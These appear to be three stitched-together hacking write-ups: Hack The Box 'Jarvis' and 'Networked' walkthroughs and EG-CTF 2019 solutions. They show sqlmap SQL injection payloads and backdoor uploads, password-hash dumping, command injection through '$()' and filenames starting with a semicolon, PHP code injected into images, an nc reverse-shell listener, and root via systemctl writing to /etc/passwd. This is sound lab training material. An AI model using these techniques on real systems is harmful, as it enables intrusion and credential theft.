Hey guys, today Jarvis retired and here’s my write-up about it. It was a nice easy box with a web application vulnerable to SQL injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. It’s a medium box and its ip is 10.10.10.143, I added it to /etc/hosts as jarvis.htb. Let’s jump right in!
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-08 17:33 EET Nmap scan report for jarvis.htb (10.10.10.143) Host is up (0.24s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds [email protected]:~/Desktop/HTB/boxes/jarvis#
We got ssh on port 22 and http on port 80. Let’s take a look at the web service.
Web Enumeration
By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:
I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:
phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net
That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.
SQLi in room.php
Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:
I tried replacing the number with a single quote ' and I got a weird response: So I ran sqlmap but I got a 404 response:
[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 ___ __H__ ___ ___[(]_____ ___ ___ {1.3.4#stable} |_ -| . [)] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the enduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:43:03 /2019-11-08/ [17:43:03] [INFO] testing connection to the target URL [17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS [17:43:04] [INFO] testing if the target URL content is stable [17:43:05] [INFO] heuristics detected web page charset 'ascii' [17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [17:43:13] [INFO] searching for dynamic content [17:43:13] [CRITICAL] page notfound (404) [17:43:13] [WARNING] HTTPerror codes detected during run: 404 (NotFound) - 2 times [*] ending @ 17:43:13 /2019-11-08/
I checked the page again and saw a message indicating that I got banned for 90 seconds: I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:
[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell ___ __H__ ___ ___[,]_____ ___ ___ {1.3.4#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the enduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:23:10 /2019-11-08/ [22:23:10] [INFO] resuming back-end DBMS 'mysql' [22:23:10] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 9726=9726 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: cod=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr --- [22:23:11] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 [22:23:11] [INFO] going to use a web backdoor for command prompt [22:23:11] [INFO] fingerprinting the back-end DBMS operating system [22:23:11] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 [22:23:13] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default) [2] custom location(s) [3] custom directory list file [4] brute force search > 2 please provide a comma separate list of absolute directory paths: /var/www/html [22:23:40] [INFO] retrieved web server absolute paths: '/images/' [22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINESTERMINATEDBY' method [22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php [22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php [22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] a command standard output: 'www-data' os-shell> id command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)' os-shell>
From here we can simply execute a reverse shell command and get a shell.
Second way:
I used the --passwords option to dump the users’ password hashes:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the enduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:17:45 /2019-11-08/ [22:17:46] [INFO] resuming back-end DBMS 'mysql' [22:17:46] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 9726=9726 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: cod=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr --- [22:17:46] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 [22:17:46] [INFO] fetching database users password hashes [22:17:46] [INFO] used SQL query returns 1 entry do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt' do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n database management system users password hashes: [*] DBadmin [1]: password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 [22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb' [*] ending @ 22:17:55 /2019-11-08/ [email protected]:~/Desktop/HTB/boxes/jarvis#
I got the password hash for DBadmin, I cracked it with crackstation: Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:
www-d[email protected]:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py #!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re defshow_help(): message=''' ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message)
defexec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)
The most interesting function in this script is exec_ping:
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defexec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)
It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:
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& ; - ` || |
However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command) So for example if we do ping -c 1 $(echo 127.0.0.1), echo 127.0.0.1 will be executed first then the ping command will be executed:
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r[email protected]:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1) PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms
systemctl may be used to introspect and control the state of the “systemd” system and service manager. -man7.org
To verify that it can be abused I checked gtfobins and found a page for it. We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root. I created a service that executes /dev/shm/root.sh:
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[Unit] Description=pwned
[Service] ExecStart=/dev/shm/root.sh
[Install] WantedBy=multi-user.target
And I created /dev/shm/root.sh which echoes:
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rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).
[email protected]:/dev/shm$ su rooot Password: [email protected]:/dev/shm# id uid=0(root) gid=0(root) groups=0(root) [email protected]:/dev/shm# whoami root [email protected]:/dev/shm# cd /root/ [email protected]:~# ls -al total 52 drwx------ 6 root root 4096 Mar 5 2019 . drwxr-xr-x 23 root root 4096 Mar 3 2019 .. lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache -rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh drwxr-xr-x 3 root root 4096 Mar 3 2019 .config drwxr-xr-x 3 root root 4096 Mar 3 2019 .local lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null -r-------- 1 root root 33 Mar 5 2019 root.txt -rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor -rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py [email protected]:~#
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146, I added it to /etc/hosts as networked.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
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[email protected]:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET Nmap scan report for networked.htb (10.10.10.146) Host is up (1.7s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds [email protected]:~/Desktop/HTB/boxes/networked#
We got ssh on port 22 and http on port 80, let’s check the web service.
Web Enumeration
The index page had nothing except for this message: So I ran gobuster to check for sub directories and I found 2 interesting directories, /uploads and /backup:
<html> <body> Hello mate, we're building the new FaceMash!</br> Help by funding us and be the new Tyler&Cameron!</br> Join us at the pool party this Sat to get a glimpse <!-- upload and gallery not yet linked --> </body> </html>
functioncheck_ip($prefix,$filename){ //echo "prefix: $prefix - fname: $filename\n"; $ret = true; if (!(filter_var($prefix, FILTER_VALIDATE_IP))) { $ret = false; $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip "; } else { $msg = $filename; } returnarray($ret,$msg); }
functionfile_mime_type($file){ $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/'; if (function_exists('finfo_file')) { $finfo = finfo_open(FILEINFO_MIME); if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system { $mime = @finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); if (is_string($mime) && preg_match($regexp, $mime, $matches)) { $file_type = $matches[1]; return $file_type; } } } if (function_exists('mime_content_type')) { $file_type = @mime_content_type($file['tmp_name']); if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string { return $file_type; } } return $file['type']; }
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name); if (!$success) { echo"<p>Unable to save file.</p>"; exit; } echo"<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file chmod(UPLOAD_DIR . $name, 0644); } } else { displayform(); } ?>
/upload.php:
/photos.php:
RCE –> Shell as apache
We can use upload.php to upload images then we can view them through photos.php or /uploads/image_name. For some time I tried to bypass the extension filter in upload.php to upload php files but I wasn’t able to bypass it. However I could get RCE by injecting php code in the uploaded images. I got a solid black image and called it original.png, let’s upload it:
Now let’s copy that image and inject some php code into the new image:
I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:
Now if we view the file from /uploads we won’t get the image, we’ll get the binary data of the image and the result of the executed php code at the end: whoami got executed successfully and we’re the user apache. I created another one to get a reverse shell:
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1337 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.146. Ncat: Connection from 10.10.10.146:55662. sh: no job control in this shell sh-4.2$ whoami whoami apache sh-4.2$ id id uid=48(apache) gid=48(apache) groups=48(apache) sh-4.2$ hostname hostname networked.htb sh-4.2$
Command Injection in check_attack.php –> Shell as guly –> User Flag
First thing I did after getting a shell was to make it stable:
bash-4.2$ cd /home/ bash-4.2$ ls -al total 0 drwxr-xr-x. 3 root root 18 Jul 2 13:27 . dr-xr-xr-x. 17 root root 224 Jul 2 13:27 .. drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly bash-4.2$ cd guly/ bash-4.2$ ls -al total 32 drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 . drwxr-xr-x. 3 root root 18 Jul 2 13:27 .. lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null -rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout -rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile -rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc -rw------- 1 guly guly 749 Nov 16 00:31 .viminfo -r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php -rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly -rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter -r--------. 1 guly guly 33 Oct 30 2018 user.txt bash-4.2$ cat user.txt cat: user.txt: Permission denied bash-4.2$
We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:
This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:
And $value is the suspicious file’s name. We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo"interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo"wrong input, try again" echo"interface $var:" read x done echo$var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done
This script simply creates a network script for an interface called guly then activates that interface. It asks the user for these options: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.
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[[email protected] ~]$ sudo /usr/local/sbin/changename.sh interface NAME: test interface PROXY_METHOD: test interface BROWSER_ONLY: test interface BOOTPROTO: test ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:
[[email protected] ~]$ sudo /usr/local/sbin/changename.sh interface NAME: test bash interface PROXY_METHOD: test interface BROWSER_ONLY: test interface BOOTPROTO: test [[email protected] network-scripts]# whoami root [[email protected] network-scripts]# id uid=0(root) gid=0(root) groups=0(root) [[email protected] network-scripts]# cd /root/ [[email protected] ~]# ls -la total 28 dr-xr-x---. 2 root root 144 Jul 15 11:34 . dr-xr-xr-x. 17 root root 224 Jul 2 13:27 .. lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null -rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout -rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile -rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc -rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc -r--------. 1 root root 33 Oct 30 2018 root.txt -rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc -rw------- 1 root root 1011 Jul 15 11:34 .viminfo [[email protected] network-scripts]#
And we got a root shell. We owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
I participated in EG-CTF 2019 qualification round which was held in Friday November 15 2019 and lasted for 26 hours, These are my quick write-ups for some of the challenges.
The message is 7uvxEhXkGkmPhYQtDE3Eg99ZKfr8kRwFe15nNkg9eyFLKXqe Good luck!!
Flag Format EGCTF{50m3_l337_73x7}
Solution:
This was a very easy one, we’re given an encoded string and we need to decode it to retrieve the flag, I tried some of the known encoding methods and found that it was base-58 encoded:
var a = ['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39', '\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c']; (function(c, d) { var e = function(f) { while (--f) { c['push'](c['shift']()); } }; e(++d); }(a, 0xc7)); var b = function(c, d) { c = c - 0x0; var e = a[c]; if (b['mPLuJI'] === undefined) { (function() { var f = function() { var g; try { g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')(); } catch (h) { g = window; } return g; }; var i = f(); var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; i['atob'] || (i['atob'] = function(k) { var l = String(k)['replace'](/=+$/, ''); for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) { o = j['indexOf'](o); } return q; }); }()); b['QMZCsz'] = function(r) { var s = atob(r); var t = []; for (var u = 0x0, v = s['length']; u < v; u++) { t += '%' + ('00' + s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2); } returndecodeURIComponent(t); }; b['MdcAcN'] = {}; b['mPLuJI'] = !![]; } var w = b['MdcAcN'][c]; if (w === undefined) { e = b['QMZCsz'](e); b['MdcAcN'][c] = e; } else { e = w; } return e; }; variable = function() { flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1')); }; another = !![];
By looking at the end of the code we’ll see this function:
We found this key online but it does not make any sense to us. Can you figure anything out?
CEARD{Pmr14_jm0m0m0m0m0m0m0m0m0m0mn}
Solution:
By looking at the text it’s easily recognizable that this is the flag but the letters are substituted. We know that the flag starts with EGCTF so C is E and E is G, which means that the offset is 2. I used rot13.com to decode the flag:
Misc: QR c0d3
Challenge Description:
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I tried so hard and got so far but in the end I have nothing to try. Can you help me read this QR code
Flag format EGCTF{$0m3_l337_73x7}
Solution:
We’re given an image called QR.png: I used onlinebarcodereader.com to read the qr code, but I only got a small part of the flag:
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R_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .
I tried rotating the image by 90 degrees to see if I’ll get any different results, which actually worked:
I never set out to be weird. It was always other people who called me weird.
http://172.105.76.128/
Solution:
The index page only had an image saying “SITE UNDER CONSTRUCTION” and nothing else: I ran gobuster to check for sub directories and found a git directory:
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 2e3e1a8 commit 2e3e1a8c124768ecbb31e92d5c070003924b9254 (HEAD -> master) Author: Ben ALaa <[email protected]> Date: Thu Nov 14 23:18:26 2019 +0100
Refining
diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php index 3d7f801..706d93b 100644 --- a/S3cR3tPaTh/config.php +++ b/S3cR3tPaTh/config.php @@ -419,15 +419,6 @@ $CONFIG = array( */ 'overwriteprotocol' => '', -/** - * Override webroot - * ownCloud attempts to detect the webroot for generating URLs automatically. - * For example, if `www.example.com/owncloud` is the URL pointing to the - * ownCloud instance, the webroot is `/owncloud`. When proxies are in use, it - * may be difficult for ownCloud to detect this parameter, resulting in invalid URLs. - */ -'overwritewebroot' => '', - /** * Override condition * This option allows you to define a manual override condition as a regular root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#
/S3cR3tPaTh: I could also find the credentials in one of the commits (DelCr (5b9e491)):
/** - * Enables or disables avatars or user profile photos + /* Enables or disables avatars or user profile photos * `true` enables avatars, or user profile photos, `false` disables them. * These appear on the User page, on user's Personal pages and are used by some apps * (contacts, mail, etc). @@ -469,15 +469,7 @@ $CONFIG = array(
Some one hacked us, we are sure that our password is so strong! We've no idea what's happening! Can you check if our security is solid or not! http://167.71.248.246/secure/
Solution:
This was the easiest web challenge, by visiting the site we get asked for authentication: As the description said, the password is strong so bruteforcing the basic auth is not the solution, the challenge name is Tamp3rat0r so I tried tampering with the request method:
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[email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl http://167.71.248.246/secure/ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p>
<address>Apache/2.4.29 (Ubuntu) Server at 167.71.248.246 Port 80</address> </body></html> [email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl -X POST http://167.71.248.246/secure/ our secret flag is: EGCTF{0xc7d22f_is_a_t4mp3rat0r} [email protected]:~/Desktop/EGCTF-Quals/web/Tamp3rat0r#
Crypto: Des amies
Challenge Description:
1
nc 167.71.93.117 9000
Hint:
1
Strong key!
Solution:
By connecting to that port we get asked for a name, then we get an encrypted output:
From the challenge name I assumed that the message is DES encrypted so I tried getting an encrypted message then sending it back again to see if I’ll get the decrypted result. I sent 1, then I saved the output to a file and called it out.1
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[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 Name: Here is your personalized message: [email protected]NJN4X0FƤ߃& [Mڸ"*A!v.$.8v\G9(sK{~L{+ qOw|,>ԄB̃]R
Then I sent the encrypted message as an input, and I successfully got back the decrypted message, that’s when I knew that my approach wasn’t intended because it wants the decryption key as the flag:
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[email protected]:~/Desktop/EGCTF-Quals/crypto/DES-amies# cat out.1 | nc 167.71.93.117 9000 Name: Here is your personalized message: 1 Well done, now submit the key in hex format, for example, if the key is 'Winter' submit EGCTF{57696e746572} m>eMcNJN4X0FƤ߃& [Mڸ"*A!v.$.8v\G9(sK{~L{+ qOw|,>ԄB̃]R
The hint said Strong key!, so it’s probably a weak one, and DES is known for some weak keys. I searched for weak DES keys and found this Wikipedia page. I used des.online-domain-tools.com and started trying some of the keys, 0xFEFEFEFEFEFEFEFE worked:
Forensics: Data Leakage
Challenge Description:
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We acquired this memory image from the computer of the main suspect in corporate espionage case. Could you help us find what had been leaked?
flag: EGCTF{md5_hex_lowercase}
Solution:
We’re given a memory image called memdump.mem. First thing I did was to check the image info (I used volatility):
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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/root/Desktop/eg-ctf-quals/forensics/dataleakage/memdump.mem) PAE type : PAE DTB : 0x31c000L KDBG : 0x80544ce0L Number of Processors : 1 Image Type (Service Pack) : 2 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2019-11-05 09:22:13 UTC+0000 Image local date and time : 2019-11-05 11:22:13 +0200
I ran the file command on all the dumped files and found 2 RAR archives:
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r[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# cd files/ root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage/files# file * file.1112.0x8144bae8.img: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows file.1112.0x81463a10.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows file.1112.0x814646e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows --- file.1144.0x8147e6c8.dat: RAR archive data, v5 file.1144.0x81583d98.vacb: RAR archive data, v5 --- file.972.0x8183a6e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows file.972.0x8183aae8.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows file.972.0x8183af30.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows [email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage/files#
Both of them had an image called flag.png and both of them were password protected:
Earlier when I ran psscan there was a WinRAR process running (PID : 1308 ):
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[email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan Volatility Foundation Volatility Framework 2.6 Offset(P) Name PID PPID PDB Time created Time exited ------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------ --- 0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000 --- [email protected]:~/Desktop/EGCTF-Quals/forensics/data-leakage#
I checked the environment variables of that process and found the password there:
List of employees with their salaries had been leaked. Here is the traffic captured from the network. It may contain the leaked data. Can you help?
Flag Format: EGCTF{md5_hex_lowercase}
Solution:
We’re given a pcapng file called salary_traffic.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of weird DNS queries: All of them were looking up the same domain example.test with different base-64 encoded strings as subdomains. I used tshark to extract all of these DNS queries and I saved them into a file:
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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" Running as user "root" and group "root". This could be dangerous. 192.168.125.145 N3q8ryccAATIxWF+.example.test 192.168.125.145 8AoAAAAAAAB6AAAA.example.test 192.168.125.145 AAAAANY3kCg6AWnJ.example.test 192.168.125.145 Ic9uESaH5GfcRZ9l.example.test 192.168.125.145 KuuWZ/LK8Hnb\nmS+.example.test --- 192.168.125.145 GQAYQB0AGEALgB0A.example.test 192.168.125.145 HgAdAAAABQKAQDQb.example.test 192.168.125.145 KHeApTVARUGAQAgA.example.test 192.168.125.145 AAAAAA=\n.example.test [email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" > out.txt Running as user "root" and group "root". This could be dangerous. [email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#
Then by using a text editor I removed the ip address, .example.test and the new lines:
A secret agent was found sending a message to an unknown party. We managed to intercept network traffic but could not recover the message. Can you help us?
Solution
We’re given a pcapng file called SecretMessage.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of ICMP requests with weird ttlnumbers: These numbers were ASCII characters codes, I tried decoding the first 5 ones and I got EGCTF:
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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# python Python 2.7.16 (default, Apr 6 2019, 01:42:57) [GCC 8.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> print chr(69) E >>> print chr(71) G >>> print chr(67) C >>> print chr(84) T >>> print chr(70) F >>>
Doing it manually will take some time so I exported the ICMP packets as a txt:
